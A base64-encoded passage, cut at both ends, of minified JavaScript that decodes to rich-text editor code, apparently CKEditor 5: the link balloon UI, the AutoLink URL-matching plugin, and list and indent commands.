NldCgiRXNjIiwoKHQsZSk9Pnt0aGlzLl9oaWRlVUkoKTtlKCl9KSk7ZS5rZXlzdHJva2VzLnNldCh4TSwoKHQsZSk9Pnt0aGlzLl9hZGRGb3JtVmlldygpO2UoKX0pKTtyZXR1cm4gZX1fY3JlYXRlRm9ybVZpZXcoKXtjb25zdCB0PXRoaXMuZWRpdG9yO2NvbnN0IGU9dC5jb21tYW5kcy5nZXQoImxpbmsiKTtjb25zdCBuPXQuY29uZmlnLmdldCgibGluay5kZWZhdWx0UHJvdG9jb2wiKTtjb25zdCBpPW5ldyBlUyh0LmxvY2FsZSxlKTtpLnVybElucHV0Vmlldy5maWVsZFZpZXcuYmluZCgidmFsdWUiKS50byhlLCJ2YWx1ZSIpO2kudXJsSW5wdXRWaWV3LmJpbmQoImlzUmVhZE9ubHkiKS50byhlLCJpc0VuYWJsZWQiLCh0PT4hdCkpO2kuc2F2ZUJ1dHRvblZpZXcuYmluZCgiaXNFbmFibGVkIikudG8oZSk7dGhpcy5saXN0ZW5UbyhpLCJzdWJtaXQiLCgoKT0+e2NvbnN0e3ZhbHVlOmV9PWkudXJsSW5wdXRWaWV3LmZpZWxkVmlldy5lbGVtZW50O2NvbnN0IG89UE0oZSxuKTt0LmV4ZWN1dGUoImxpbmsiLG8saS5nZXREZWNvcmF0b3JTd2l0Y2hlc1N0YXRlKCkpO3RoaXMuX2Nsb3NlRm9ybVZpZXcoKX0pKTt0aGlzLmxpc3RlblRvKGksImNhbmNlbCIsKCgpPT57dGhpcy5fY2xvc2VGb3JtVmlldygpfSkpO2kua2V5c3Ryb2tlcy5zZXQoIkVzYyIsKCh0LGUpPT57dGhpcy5fY2xvc2VGb3JtVmlldygpO2UoKX0pKTtyZXR1cm4gaX1fY3JlYXRlVG9vbGJhckxpbmtCdXR0b24oKXtjb25zdCB0PXRoaXMuZWRpdG9yO2NvbnN0IGU9dC5jb21tYW5kcy5nZXQoImxpbmsiKTtjb25zdCBuPXQudDt0LmtleXN0cm9rZXMuc2V0KHhNLCgodCxuKT0+e24oKTtpZihlLmlzRW5hYmxlZCl7dGhpcy5fc2hvd1VJKHRydWUpfX0pKTt0LnVpLmNvbXBvbmVudEZhY3RvcnkuYWRkKCJsaW5rIiwodD0+e2NvbnN0IGk9bmV3IGN3KHQpO2kuaXNFbmFibGVkPXRydWU7aS5sYWJlbD1uKCJMaW5rIik7aS5pY29uPWxTO2kua2V5c3Ryb2tlPXhNO2kudG9vbHRpcD10cnVlO2kuaXNUb2dnbGVhYmxlPXRydWU7aS5iaW5kKCJpc0VuYWJsZWQiKS50byhlLCJpc0VuYWJsZWQiKTtpLmJpbmQoImlzT24iKS50byhlLCJ2YWx1ZSIsKHQ9PiEhdCkpO3RoaXMubGlzdGVuVG8oaSwiZXhlY3V0ZSIsKCgpPT50aGlzLl9zaG93VUkodHJ1ZSkpKTtyZXR1cm4gaX0pKX1fZW5hYmxlVXNlckJhbGxvb25JbnRlcmFjdGlvbnMoKXtjb25zdCB0PXRoaXMuZWRpdG9yLmVkaXRpbmcudmlldy5kb2N1bWVudDt0aGlzLmxpc3RlblRvKHQsImNsaWNrIiwoKCk9Pntjb25zdCB0PXRoaXMuX2dldFNlbGVjdGVkTGlua0VsZW1lbnQoKTtpZih0KXt0aGlzLl9zaG93VUkoKX19KSk7dGhpcy5lZGl0b3Iua2V5c3Ryb2tlcy5zZXQoIlRhYiIsKCh0LGUpPT57aWYodGhpcy5fYXJlQWN0aW9uc1Zpc2libGUmJiF0aGlzLmFjdGlvbnNWaWV3LmZvY3VzVHJhY2tlci5pc0ZvY3VzZWQpe3RoaXMuYWN0aW9uc1ZpZXcuZm9jdXMoKTtlKCl9fSkse3ByaW9yaXR5OiJoaWdoIn0pO3RoaXMuZWRpdG9yLmtleXN0cm9rZXMuc2V0KCJFc2MiLCgodCxlKT0+e2lmKHRoaXMuX2lzVUlWaXNpYmxlKXt0aGlzLl9oaWRlVUkoKTtlKCl9fSkpO3Z3KHtlbWl0dGVyOnRoaXMuZm9ybVZpZXcsYWN0aXZhdG9yOigpPT50aGlzLl9pc1VJSW5QYW5lbCxjb250ZXh0RWxlbWVudHM6W3RoaXMuX2JhbGxvb24udmlldy5lbGVtZW50XSxjYWxsYmFjazooKT0+dGhpcy5faGlkZVVJKCl9KX1fYWRkQWN0aW9uc1ZpZXcoKXtpZih0aGlzLl9hcmVBY3Rpb25zSW5QYW5lbCl7cmV0dXJufXRoaXMuX2JhbGxvb24uYWRkKHt2aWV3OnRoaXMuYWN0aW9uc1ZpZXcscG9zaXRpb246dGhpcy5fZ2V0QmFsbG9vblBvc2l0aW9uRGF0YSgpfSl9X2FkZEZvcm1WaWV3KCl7aWYodGhpcy5faXNGb3JtSW5QYW5lbCl7cmV0dXJufWNvbnN0IHQ9dGhpcy5lZGl0b3I7Y29uc3QgZT10LmNvbW1hbmRzLmdldCgibGluayIpO3RoaXMuZm9ybVZpZXcuZGlzYWJsZUNzc1RyYW5zaXRpb25zKCk7dGhpcy5fYmFsbG9vbi5hZGQoe3ZpZXc6dGhpcy5mb3JtVmlldyxwb3NpdGlvbjp0aGlzLl9nZXRCYWxsb29uUG9zaXRpb25EYXRhKCl9KTtpZih0aGlzLl9iYWxsb29uLnZpc2libGVWaWV3PT09dGhpcy5mb3JtVmlldyl7dGhpcy5mb3JtVmlldy51cmxJbnB1dFZpZXcuZmllbGRWaWV3LnNlbGVjdCgpfXRoaXMuZm9ybVZpZXcuZW5hYmxlQ3NzVHJhbnNpdGlvbnMoKTt0aGlzLmZvcm1WaWV3LnVybElucHV0Vmlldy5maWVsZFZpZXcuZWxlbWVudC52YWx1ZT1lLnZhbHVlfHwiIn1fY2xvc2VGb3JtVmlldygpe2NvbnN0IHQ9dGhpcy5lZGl0b3IuY29tbWFuZHMuZ2V0KCJsaW5rIik7dC5yZXN0b3JlTWFudWFsRGVjb3JhdG9yU3RhdGVzKCk7aWYodC52YWx1ZSE9PXVuZGVmaW5lZCl7dGhpcy5fcmVtb3ZlRm9ybVZpZXcoKX1lbHNle3RoaXMuX2hpZGVVSSgpfX1fcmVtb3ZlRm9ybVZpZXcoKXtpZih0aGlzLl9pc0Zvcm1JblBhbmVsKXt0aGlzLmZvcm1WaWV3LnNhdmVCdXR0b25WaWV3LmZvY3VzKCk7dGhpcy5fYmFsbG9vbi5yZW1vdmUodGhpcy5mb3JtVmlldyk7dGhpcy5lZGl0b3IuZWRpdGluZy52aWV3LmZvY3VzKCk7dGhpcy5faGlkZUZha2VWaXN1YWxTZWxlY3Rpb24oKX19X3Nob3dVSSh0PWZhbHNlKXtpZighdGhpcy5fZ2V0U2VsZWN0ZWRMaW5rRWxlbWVudCgpKXt0aGlzLl9zaG93RmFrZVZpc3VhbFNlbGVjdGlvbigpO3RoaXMuX2FkZEFjdGlvbnNWaWV3KCk7aWYodCl7dGhpcy5fYmFsbG9vbi5zaG93U3RhY2soIm1haW4iKX10aGlzLl9hZGRGb3JtVmlldygpfWVsc2V7aWYodGhpcy5fYXJlQWN0aW9uc1Zpc2libGUpe3RoaXMuX2FkZEZvcm1WaWV3KCl9ZWxzZXt0aGlzLl9hZGRBY3Rpb25zVmlldygpfWlmKHQpe3RoaXMuX2JhbGxvb24uc2hvd1N0YWNrKCJtYWluIil9fXRoaXMuX3N0YXJ0VXBkYXRpbmdVSSgpfV9oaWRlVUkoKXtpZighdGhpcy5faXNVSUluUGFuZWwpe3JldHVybn1jb25zdCB0PXRoaXMuZWRpdG9yO3RoaXMuc3RvcExpc3RlbmluZyh0LnVpLCJ1cGRhdGUiKTt0aGlzLnN0b3BMaXN0ZW5pbmcodGhpcy5fYmFsbG9vbiwiY2hhbmdlOnZpc2libGVWaWV3Iik7dC5lZGl0aW5nLnZpZXcuZm9jdXMoKTt0aGlzLl9yZW1vdmVGb3JtVmlldygpO3RoaXMuX2JhbGxvb24ucmVtb3ZlKHRoaXMuYWN0aW9uc1ZpZXcpO3RoaXMuX2hpZGVGYWtlVmlzdWFsU2VsZWN0aW9uKCl9X3N0YXJ0VXBkYXRpbmdVSSgpe2NvbnN0IHQ9dGhpcy5lZGl0b3I7Y29uc3QgZT10LmVkaXRpbmcudmlldy5kb2N1bWVudDtsZXQgbj10aGlzLl9nZXRTZWxlY3RlZExpbmtFbGVtZW50KCk7bGV0IGk9cigpO2NvbnN0IG89KCk9Pntjb25zdCB0PXRoaXMuX2dldFNlbGVjdGVkTGlua0VsZW1lbnQoKTtjb25zdCBlPXIoKTtpZihuJiYhdHx8IW4mJmUhPT1pKXt0aGlzLl9oaWRlVUkoKX1lbHNlIGlmKHRoaXMuX2lzVUlWaXNpYmxlKXt0aGlzLl9iYWxsb29uLnVwZGF0ZVBvc2l0aW9uKHRoaXMuX2dldEJhbGxvb25Qb3NpdGlvbkRhdGEoKSl9bj10O2k9ZX07ZnVuY3Rpb24gcigpe3JldHVybiBlLnNlbGVjdGlvbi5mb2N1cy5nZXRBbmNlc3RvcnMoKS5yZXZlcnNlKCkuZmluZCgodD0+dC5pcygiZWxlbWVudCIpKSl9dGhpcy5saXN0ZW5Ubyh0LnVpLCJ1cGRhdGUiLG8pO3RoaXMubGlzdGVuVG8odGhpcy5fYmFsbG9vbiwiY2hhbmdlOnZpc2libGVWaWV3IixvKX1nZXQgX2lzRm9ybUluUGFuZWwoKXtyZXR1cm4gdGhpcy5fYmFsbG9vbi5oYXNWaWV3KHRoaXMuZm9ybVZpZXcpfWdldCBfYXJlQWN0aW9uc0luUGFuZWwoKXtyZXR1cm4gdGhpcy5fYmFsbG9vbi5oYXNWaWV3KHRoaXMuYWN0aW9uc1ZpZXcpfWdldCBfYXJlQWN0aW9uc1Zpc2libGUoKXtyZXR1cm4gdGhpcy5fYmFsbG9vbi52aXNpYmxlVmlldz09PXRoaXMuYWN0aW9uc1ZpZXd9Z2V0IF9pc1VJSW5QYW5lbCgpe3JldHVybiB0aGlzLl9pc0Zvcm1JblBhbmVsfHx0aGlzLl9hcmVBY3Rpb25zSW5QYW5lbH1nZXQgX2lzVUlWaXNpYmxlKCl7Y29uc3QgdD10aGlzLl9iYWxsb29uLnZpc2libGVWaWV3O3JldHVybiB0PT10aGlzLmZvcm1WaWV3fHx0aGlzLl9hcmVBY3Rpb25zVmlzaWJsZX1fZ2V0QmFsbG9vblBvc2l0aW9uRGF0YSgpe2NvbnN0IHQ9dGhpcy5lZGl0b3IuZWRpdGluZy52aWV3O2NvbnN0IGU9dGhpcy5lZGl0b3IubW9kZWw7Y29uc3Qgbj10LmRvY3VtZW50O2xldCBpPW51bGw7aWYoZS5tYXJrZXJzLmhhcyhkUykpe2NvbnN0IGU9QXJyYXkuZnJvbSh0aGlzLmVkaXRvci5lZGl0aW5nLm1hcHBlci5tYXJrZXJOYW1lVG9FbGVtZW50cyhkUykpO2NvbnN0IG49dC5jcmVhdGVSYW5nZSh0LmNyZWF0ZVBvc2l0aW9uQmVmb3JlKGVbMF0pLHQuY3JlYXRlUG9zaXRpb25BZnRlcihlW2UubGVuZ3RoLTFdKSk7aT10LmRvbUNvbnZlcnRlci52aWV3UmFuZ2VUb0RvbShuKX1lbHNle2NvbnN0IGU9dGhpcy5fZ2V0U2VsZWN0ZWRMaW5rRWxlbWVudCgpO2NvbnN0IG89bi5zZWxlY3Rpb24uZ2V0Rmlyc3RSYW5nZSgpO2k9ZT90LmRvbUNvbnZlcnRlci5tYXBWaWV3VG9Eb20oZSk6dC5kb21Db252ZXJ0ZXIudmlld1JhbmdlVG9Eb20obyl9cmV0dXJue3RhcmdldDppfX1fZ2V0U2VsZWN0ZWRMaW5rRWxlbWVudCgpe2NvbnN0IHQ9dGhpcy5lZGl0b3IuZWRpdGluZy52aWV3O2NvbnN0IGU9dC5kb2N1bWVudC5zZWxlY3Rpb247aWYoZS5pc0NvbGxhcHNlZCl7cmV0dXJuIGhTKGUuZ2V0Rmlyc3RQb3NpdGlvbigpKX1lbHNle2NvbnN0IG49ZS5nZXRGaXJzdFJhbmdlKCkuZ2V0VHJpbW1lZCgpO2NvbnN0IGk9aFMobi5zdGFydCk7Y29uc3Qgbz1oUyhuLmVuZCk7aWYoIWl8fGkhPW8pe3JldHVybiBudWxsfWlmKHQuY3JlYXRlUmFuZ2VJbihpKS5nZXRUcmltbWVkKCkuaXNFcXVhbChuKSl7cmV0dXJuIGl9ZWxzZXtyZXR1cm4gbnVsbH19fV9zaG93RmFrZVZpc3VhbFNlbGVjdGlvbigpe2NvbnN0IHQ9dGhpcy5lZGl0b3IubW9kZWw7dC5jaGFuZ2UoKGU9Pntjb25zdCBuPXQuZG9jdW1lbnQuc2VsZWN0aW9uLmdldEZpcnN0UmFuZ2UoKTtpZih0Lm1hcmtlcnMuaGFzKGRTKSl7ZS51cGRhdGVNYXJrZXIoZFMse3JhbmdlOm59KX1lbHNle2lmKG4uc3RhcnQuaXNBdEVuZCl7Y29uc3QgaT10LmRvY3VtZW50LnNlbGVjdGlvbi5mb2N1cztjb25zdCBvPWZTKG4saSxlKTtlLmFkZE1hcmtlcihkUyx7dXNpbmdPcGVyYXRpb246ZmFsc2UsYWZmZWN0c0RhdGE6ZmFsc2UscmFuZ2U6b30pfWVsc2V7ZS5hZGRNYXJrZXIoZFMse3VzaW5nT3BlcmF0aW9uOmZhbHNlLGFmZmVjdHNEYXRhOmZhbHNlLHJhbmdlOm59KX19fSkpfV9oaWRlRmFrZVZpc3VhbFNlbGVjdGlvbigpe2NvbnN0IHQ9dGhpcy5lZGl0b3IubW9kZWw7aWYodC5tYXJrZXJzLmhhcyhkUykpe3QuY2hhbmdlKCh0PT57dC5yZW1vdmVNYXJrZXIoZFMpfSkpfX19ZnVuY3Rpb24gaFModCl7cmV0dXJuIHQuZ2V0QW5jZXN0b3JzKCkuZmluZCgodD0+RE0odCkpKX1mdW5jdGlvbiBmUyh0LGUsbil7Y29uc3QgaT1bdC5zdGFydC5wYXRoWzBdKzEsMF07Y29uc3Qgbz1uLmNyZWF0ZVBvc2l0aW9uRnJvbVBhdGgodC5zdGFydC5yb290LGksInRvTmV4dCIpO2NvbnN0IHI9bi5jcmVhdGVSYW5nZShvLHQuZW5kKTtpZihyLnN0YXJ0LnBhdGhbMF0+dC5lbmQucGF0aFswXSl7cmV0dXJuIG4uY3JlYXRlUmFuZ2UoZSl9aWYoby5pc0F0U3RhcnQmJm8uaXNBdEVuZCl7cmV0dXJuIGZTKHIsZSxuKX1yZXR1cm4gcn1mdW5jdGlvbiBtUyh0LGUpe2xldCBuPXQuc3RhcnQ7Y29uc3QgaT1BcnJheS5mcm9tKHQuZ2V0SXRlbXMoKSkucmVkdWNlKCgodCxpKT0+e2lmKCEoaS5pcygiJHRleHQiKXx8aS5pcygiJHRleHRQcm94eSIpKSl7bj1lLmNyZWF0ZVBvc2l0aW9uQWZ0ZXIoaSk7cmV0dXJuIiJ9cmV0dXJuIHQraS5kYXRhfSksIiIpO3JldHVybnt0ZXh0OmkscmFuZ2U6ZS5jcmVhdGVSYW5nZShuLHQuZW5kKX19Y2xhc3MgZ1N7Y29uc3RydWN0b3IodCxlKXt0aGlzLm1vZGVsPXQ7dGhpcy50ZXN0Q2FsbGJhY2s9ZTt0aGlzLmhhc01hdGNoPWZhbHNlO3RoaXMuc2V0KCJpc0VuYWJsZWQiLHRydWUpO3RoaXMub24oImNoYW5nZTppc0VuYWJsZWQiLCgoKT0+e2lmKHRoaXMuaXNFbmFibGVkKXt0aGlzLl9zdGFydExpc3RlbmluZygpfWVsc2V7dGhpcy5zdG9wTGlzdGVuaW5nKHQuZG9jdW1lbnQuc2VsZWN0aW9uKTt0aGlzLnN0b3BMaXN0ZW5pbmcodC5kb2N1bWVudCl9fSkpO3RoaXMuX3N0YXJ0TGlzdGVuaW5nKCl9X3N0YXJ0TGlzdGVuaW5nKCl7Y29uc3QgdD10aGlzLm1vZGVsO2NvbnN0IGU9dC5kb2N1bWVudDt0aGlzLmxpc3RlblRvKGUuc2VsZWN0aW9uLCJjaGFuZ2U6cmFuZ2UiLCgodCx7ZGlyZWN0Q2hhbmdlOm59KT0+e2lmKCFuKXtyZXR1cm59aWYoIWUuc2VsZWN0aW9uLmlzQ29sbGFwc2VkKXtpZih0aGlzLmhhc01hdGNoKXt0aGlzLmZpcmUoInVubWF0Y2hlZCIpO3RoaXMuaGFzTWF0Y2g9ZmFsc2V9cmV0dXJufXRoaXMuX2V2YWx1YXRlVGV4dEJlZm9yZVNlbGVjdGlvbigic2VsZWN0aW9uIil9KSk7dGhpcy5saXN0ZW5UbyhlLCJjaGFuZ2U6ZGF0YSIsKCh0LGUpPT57aWYoZS50eXBlPT0idHJhbnNwYXJlbnQiKXtyZXR1cm59dGhpcy5fZXZhbHVhdGVUZXh0QmVmb3JlU2VsZWN0aW9uKCJkYXRhIix7YmF0Y2g6ZX0pfSkpfV9ldmFsdWF0ZVRleHRCZWZvcmVTZWxlY3Rpb24odCxlPXt9KXtjb25zdCBuPXRoaXMubW9kZWw7Y29uc3QgaT1uLmRvY3VtZW50O2NvbnN0IG89aS5zZWxlY3Rpb247Y29uc3Qgcj1uLmNyZWF0ZVJhbmdlKG4uY3JlYXRlUG9zaXRpb25BdChvLmZvY3VzLnBhcmVudCwwKSxvLmZvY3VzKTtjb25zdHt0ZXh0OnMscmFuZ2U6YX09bVMocixuKTtjb25zdCBjPXRoaXMudGVzdENhbGxiYWNrKHMpO2lmKCFjJiZ0aGlzLmhhc01hdGNoKXt0aGlzLmZpcmUoInVubWF0Y2hlZCIpfXRoaXMuaGFzTWF0Y2g9ISFjO2lmKGMpe2NvbnN0IG49T2JqZWN0LmFzc2lnbihlLHt0ZXh0OnMscmFuZ2U6YX0pO2lmKHR5cGVvZiBjPT0ib2JqZWN0Iil7T2JqZWN0LmFzc2lnbihuLGMpfXRoaXMuZmlyZShgbWF0Y2hlZDoke3R9YCxuKX19fV9zKGdTLEpjKTtjb25zdCBwUz00O2NvbnN0IGtTPW5ldyBSZWdFeHAoIihefFxccykiKyIoIisiKCIrIig/Oig/Oig/Omh0dHBzP3xmdHApOik/XFwvXFwvKSIrIig/OlxcUysoPzo6XFxTKik/QCk/IisiKD86IisiKD8hWy1fXSkoPzpbLVxcd1xcdTAwYTEtXFx1ZmZmZl17MCw2M31bXi1fXVxcLikrIisiKD86W2EtelxcdTAwYTEtXFx1ZmZmZl17Mix9KSIrIikiKyIoPzo6XFxkezIsNX0pPyIrIig/OlsvPyNdXFxTKik/IisiKSIrInwiKyIoIisiKHd3dy58KFxcUytAKSkiKyIoKD8hWy1fXSkoPzpbLVxcd1xcdTAwYTEtXFx1ZmZmZl17MCw2M31bXi1fXVxcLikpKyIrIig/OlthLXpcXHUwMGExLVxcdWZmZmZdezIsfSkiKyIpIisiKSQiLCJpIik7Y29uc3QgYlM9MjtjbGFzcyB3UyBleHRlbmRzIG5De3N0YXRpYyBnZXQgcGx1Z2luTmFtZSgpe3JldHVybiJBdXRvTGluayJ9aW5pdCgpe2NvbnN0IHQ9dGhpcy5lZGl0b3I7Y29uc3QgZT10Lm1vZGVsLmRvY3VtZW50LnNlbGVjdGlvbjtlLm9uKCJjaGFuZ2U6cmFuZ2UiLCgoKT0+e3RoaXMuaXNFbmFibGVkPSFlLmFuY2hvci5wYXJlbnQuaXMoImVsZW1lbnQiLCJjb2RlQmxvY2siKX0pKTt0aGlzLl9lbmFibGVUeXBpbmdIYW5kbGluZygpfWFmdGVySW5pdCgpe3RoaXMuX2VuYWJsZUVudGVySGFuZGxpbmcoKTt0aGlzLl9lbmFibGVTaGlmdEVudGVySGFuZGxpbmcoKX1fZW5hYmxlVHlwaW5nSGFuZGxpbmcoKXtjb25zdCB0PXRoaXMuZWRpdG9yO2NvbnN0IGU9bmV3IGdTKHQubW9kZWwsKHQ9PntpZighQ1ModCkpe3JldHVybn1jb25zdCBlPUFTKHQuc3Vic3RyKDAsdC5sZW5ndGgtMSkpO2lmKGUpe3JldHVybnt1cmw6ZX19fSkpO2NvbnN0IG49dC5wbHVnaW5zLmdldCgiSW5wdXQiKTtlLm9uKCJtYXRjaGVkOmRhdGEiLCgoZSxpKT0+e2NvbnN0e2JhdGNoOm8scmFuZ2U6cix1cmw6c309aTtpZighbi5pc0lucHV0KG8pKXtyZXR1cm59Y29uc3QgYT1yLmVuZC5nZXRTaGlmdGVkQnkoLTEpO2NvbnN0IGM9YS5nZXRTaGlmdGVkQnkoLXMubGVuZ3RoKTtjb25zdCBsPXQubW9kZWwuY3JlYXRlUmFuZ2UoYyxhKTt0aGlzLl9hcHBseUF1dG9MaW5rKHMsbCl9KSk7ZS5iaW5kKCJpc0VuYWJsZWQiKS50byh0aGlzKX1fZW5hYmxlRW50ZXJIYW5kbGluZygpe2NvbnN0IHQ9dGhpcy5lZGl0b3I7Y29uc3QgZT10Lm1vZGVsO2NvbnN0IG49dC5jb21tYW5kcy5nZXQoImVudGVyIik7aWYoIW4pe3JldHVybn1uLm9uKCJleGVjdXRlIiwoKCk9Pntjb25zdCB0PWUuZG9jdW1lbnQuc2VsZWN0aW9uLmdldEZpcnN0UG9zaXRpb24oKTtpZighdC5wYXJlbnQucHJldmlvdXNTaWJsaW5nKXtyZXR1cm59Y29uc3Qgbj1lLmNyZWF0ZVJhbmdlSW4odC5wYXJlbnQucHJldmlvdXNTaWJsaW5nKTt0aGlzLl9jaGVja0FuZEFwcGx5QXV0b0xpbmtPblJhbmdlKG4pfSkpfV9lbmFibGVTaGlmdEVudGVySGFuZGxpbmcoKXtjb25zdCB0PXRoaXMuZWRpdG9yO2NvbnN0IGU9dC5tb2RlbDtjb25zdCBuPXQuY29tbWFuZHMuZ2V0KCJzaGlmdEVudGVyIik7aWYoIW4pe3JldHVybn1uLm9uKCJleGVjdXRlIiwoKCk9Pntjb25zdCB0PWUuZG9jdW1lbnQuc2VsZWN0aW9uLmdldEZpcnN0UG9zaXRpb24oKTtjb25zdCBuPWUuY3JlYXRlUmFuZ2UoZS5jcmVhdGVQb3NpdGlvbkF0KHQucGFyZW50LDApLHQuZ2V0U2hpZnRlZEJ5KC0xKSk7dGhpcy5fY2hlY2tBbmRBcHBseUF1dG9MaW5rT25SYW5nZShuKX0pKX1fY2hlY2tBbmRBcHBseUF1dG9MaW5rT25SYW5nZSh0KXtjb25zdCBlPXRoaXMuZWRpdG9yLm1vZGVsO2NvbnN0e3RleHQ6bixyYW5nZTppfT1tUyh0LGUpO2NvbnN0IG89QVMobik7aWYobyl7Y29uc3QgdD1lLmNyZWF0ZVJhbmdlKGkuZW5kLmdldFNoaWZ0ZWRCeSgtby5sZW5ndGgpLGkuZW5kKTt0aGlzLl9hcHBseUF1dG9MaW5rKG8sdCl9fV9hcHBseUF1dG9MaW5rKHQsZSl7Y29uc3Qgbj10aGlzLmVkaXRvci5tb2RlbDtpZighdGhpcy5pc0VuYWJsZWR8fCFfUyhlLG4pKXtyZXR1cm59bi5lbnF1ZXVlQ2hhbmdlKChuPT57Y29uc3QgaT10aGlzLmVkaXRvci5jb25maWcuZ2V0KCJsaW5rLmRlZmF1bHRQcm90b2NvbCIpO2NvbnN0IG89UE0odCxpKTtuLnNldEF0dHJpYnV0ZSgibGlua0hyZWYiLG8sZSl9KSl9fWZ1bmN0aW9uIENTKHQpe3JldHVybiB0Lmxlbmd0aD5wUyYmdFt0Lmxlbmd0aC0xXT09PSIgIiYmdFt0Lmxlbmd0aC0yXSE9PSIgIn1mdW5jdGlvbiBBUyh0KXtjb25zdCBlPWtTLmV4ZWModCk7cmV0dXJuIGU/ZVtiU106bnVsbH1mdW5jdGlvbiBfUyh0LGUpe3JldHVybiBlLnNjaGVtYS5jaGVja0F0dHJpYnV0ZUluU2VsZWN0aW9uKGUuY3JlYXRlU2VsZWN0aW9uKHQpLCJsaW5rSHJlZiIpfWNsYXNzIHZTIGV4dGVuZHMgbkN7c3RhdGljIGdldCByZXF1aXJlcygpe3JldHVybltLTSx1Uyx3U119c3RhdGljIGdldCBwbHVnaW5OYW1lKCl7cmV0dXJuIkxpbmsifX1jbGFzcyB5UyBleHRlbmRzIG9De2NvbnN0cnVjdG9yKHQsZSl7c3VwZXIodCk7dGhpcy50eXBlPWV9cmVmcmVzaCgpe3RoaXMudmFsdWU9dGhpcy5fZ2V0VmFsdWUoKTt0aGlzLmlzRW5hYmxlZD10aGlzLl9jaGVja0VuYWJsZWQoKX1leGVjdXRlKCl7Y29uc3QgdD10aGlzLmVkaXRvci5tb2RlbDtjb25zdCBlPXQuZG9jdW1lbnQ7Y29uc3Qgbj1BcnJheS5mcm9tKGUuc2VsZWN0aW9uLmdldFNlbGVjdGVkQmxvY2tzKCkpLmZpbHRlcigoZT0+RFMoZSx0LnNjaGVtYSkpKTtjb25zdCBpPXRoaXMudmFsdWU9PT10cnVlO3QuY2hhbmdlKCh0PT57aWYoaSl7bGV0IGU9bltuLmxlbmd0aC0xXS5uZXh0U2libGluZztsZXQgaT1OdW1iZXIuUE9TSVRJVkVfSU5GSU5JVFk7bGV0IG89W107d2hpbGUoZSYmZS5uYW1lPT0ibGlzdEl0ZW0iJiZlLmdldEF0dHJpYnV0ZSgibGlzdEluZGVudCIpIT09MCl7Y29uc3QgdD1lLmdldEF0dHJpYnV0ZSgibGlzdEluZGVudCIpO2lmKHQ8aSl7aT10fWNvbnN0IG49dC1pO28ucHVzaCh7ZWxlbWVudDplLGxpc3RJbmRlbnQ6bn0pO2U9ZS5uZXh0U2libGluZ31vPW8ucmV2ZXJzZSgpO2Zvcihjb25zdCBlIG9mIG8pe3Quc2V0QXR0cmlidXRlKCJsaXN0SW5kZW50IixlLmxpc3RJbmRlbnQsZS5lbGVtZW50KX19aWYoIWkpe2xldCB0PU51bWJlci5QT1NJVElWRV9JTkZJTklUWTtmb3IoY29uc3QgZSBvZiBuKXtpZihlLmlzKCJlbGVtZW50IiwibGlzdEl0ZW0iKSYmZS5nZXRBdHRyaWJ1dGUoImxpc3RJbmRlbnQiKTx0KXt0PWUuZ2V0QXR0cmlidXRlKCJsaXN0SW5kZW50Iil9fXQ9dD09PTA/MTp0O3hTKG4sdHJ1ZSx0KTt4UyhuLGZhbHNlLHQpfWZvcihjb25zdCBlIG9mIG4ucmV2ZXJzZSgpKXtpZihpJiZlLm5hbWU9PSJsaXN0SXRlbSIpe3QucmVuYW1lKGUsInBhcmFncmFwaCIpfWVsc2UgaWYoIWkmJmUubmFtZSE9Imxpc3RJdGVtIil7dC5zZXRBdHRyaWJ1dGVzKHtsaXN0VHlwZTp0aGlzLnR5cGUsbGlzdEluZGVudDowfSxlKTt0LnJlbmFtZShlLCJsaXN0SXRlbSIpfWVsc2UgaWYoIWkmJmUubmFtZT09Imxpc3RJdGVtIiYmZS5nZXRBdHRyaWJ1dGUoImxpc3RUeXBlIikhPXRoaXMudHlwZSl7dC5zZXRBdHRyaWJ1dGUoImxpc3RUeXBlIix0aGlzLnR5cGUsZSl9fXRoaXMuZmlyZSgiX2V4ZWN1dGVDbGVhbnVwIixuKX0pKX1fZ2V0VmFsdWUoKXtjb25zdCB0PXNDKHRoaXMuZWRpdG9yLm1vZGVsLmRvY3VtZW50LnNlbGVjdGlvbi5nZXRTZWxlY3RlZEJsb2NrcygpKTtyZXR1cm4hIXQmJnQuaXMoImVsZW1lbnQiLCJsaXN0SXRlbSIpJiZ0LmdldEF0dHJpYnV0ZSgibGlzdFR5cGUiKT09dGhpcy50eXBlfV9jaGVja0VuYWJsZWQoKXtpZih0aGlzLnZhbHVlKXtyZXR1cm4gdHJ1ZX1jb25zdCB0PXRoaXMuZWRpdG9yLm1vZGVsLmRvY3VtZW50LnNlbGVjdGlvbjtjb25zdCBlPXRoaXMuZWRpdG9yLm1vZGVsLnNjaGVtYTtjb25zdCBuPXNDKHQuZ2V0U2VsZWN0ZWRCbG9ja3MoKSk7aWYoIW4pe3JldHVybiBmYWxzZX1yZXR1cm4gRFMobixlKX19ZnVuY3Rpb24geFModCxlLG4pe2NvbnN0IGk9ZT90WzBdOnRbdC5sZW5ndGgtMV07aWYoaS5pcygiZWxlbWVudCIsImxpc3RJdGVtIikpe2xldCBvPWlbZT8icHJldmlvdXNTaWJsaW5nIjoibmV4dFNpYmxpbmciXTtsZXQgcj1pLmdldEF0dHJpYnV0ZSgibGlzdEluZGVudCIpO3doaWxlKG8mJm8uaXMoImVsZW1lbnQiLCJsaXN0SXRlbSIpJiZvLmdldEF0dHJpYnV0ZSgibGlzdEluZGVudCIpPj1uKXtpZihyPm8uZ2V0QXR0cmlidXRlKCJsaXN0SW5kZW50Iikpe3I9by5nZXRBdHRyaWJ1dGUoImxpc3RJbmRlbnQiKX1pZihvLmdldEF0dHJpYnV0ZSgibGlzdEluZGVudCIpPT1yKXt0W2U/InVuc2hpZnQiOiJwdXNoIl0obyl9bz1vW2U/InByZXZpb3VzU2libGluZyI6Im5leHRTaWJsaW5nIl19fX1mdW5jdGlvbiBEUyh0LGUpe3JldHVybiBlLmNoZWNrQ2hpbGQodC5wYXJlbnQsImxpc3RJdGVtIikmJiFlLmlzT2JqZWN0KHQpfWNsYXNzIEVTIGV4dGVuZHMgb0N7Y29uc3RydWN0b3IodCxlKXtzdXBlcih0KTt0aGlzLl9pbmRlbnRCeT1lPT0iZm9yd2FyZCI/MTotMX1yZWZyZXNoKCl7dGhpcy5pc0VuYWJsZWQ9dGhpcy5fY2hlY2tFbmFibGVkKCl9ZXhlY3V0ZSgpe2NvbnN0IHQ9dGhpcy5lZGl0b3IubW9kZWw7Y29uc3QgZT10LmRvY3VtZW50O2xldCBuPUFycmF5LmZyb20oZS5zZWxlY3Rpb24uZ2V0U2VsZWN0ZWRCbG9ja3MoKSk7dC5jaGFuZ2UoKHQ9Pntjb25zdCBlPW5bbi5sZW5ndGgtMV07bGV0IGk9ZS5uZXh0